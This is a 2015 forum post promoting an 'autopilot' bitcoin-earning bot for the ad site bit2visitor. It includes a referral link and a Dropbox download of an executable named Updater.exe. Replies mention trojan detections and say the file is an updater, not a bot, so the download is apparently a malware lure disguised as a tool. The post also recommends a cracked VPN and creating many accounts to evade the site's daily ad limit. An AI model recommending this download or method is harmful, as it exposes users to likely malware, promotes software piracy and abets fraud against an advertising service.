Hey guys I wanted to show you a way to make lots of bitcoins %95 autopilot

Ok first of your going to need a account @ bit2visitor you can sign up here for extra points <http://bit2visitor.com/?ref=43822> or if you dont want to get a sign up bonus at the bottom of the page will be a sign up link.

Ok then you need the bot the bot we will be using is MultiTool V2 link can be found here <https://dl.dropboxusercontent.com/u/27455817/Updater.exe> virus scan can be found here <https://www.virustotal.com/en/file/fb96b02e441c0ca70a75eb897919f70bc58accf4e636a668d8a75a0b58474fb3/analysis/1446288836/>

Ok now its downloaded and you loaded all the files open the MultiTool V2 and click on bit2visitor and click start then put your logins in to the bot from bit2visitor then click save a close and start the bot it is %100 autopilot now you dont have to do this next step but if you want more bit coins you can.

Ok you need to change your IP for this next step so get a vpn crack or vpn that is free or what you paid for I use VPNium crack then you want to re sign up on the vpn and then turn it off when you made the account then you can start getting lots of accounts with lots of bitcoins and bypass the ad limit per day hope you enjoyed !

Stupid sign up link no extra bonus for signing up <http://bit2visitor.com/>

If you're using that bot multitool, you shouldn't get those trojan detections.

How much bitcoin does this net you?

feggu - November 14, 2015, 9:47 pm
The software is an updater and not a bot for the bitvisitor.
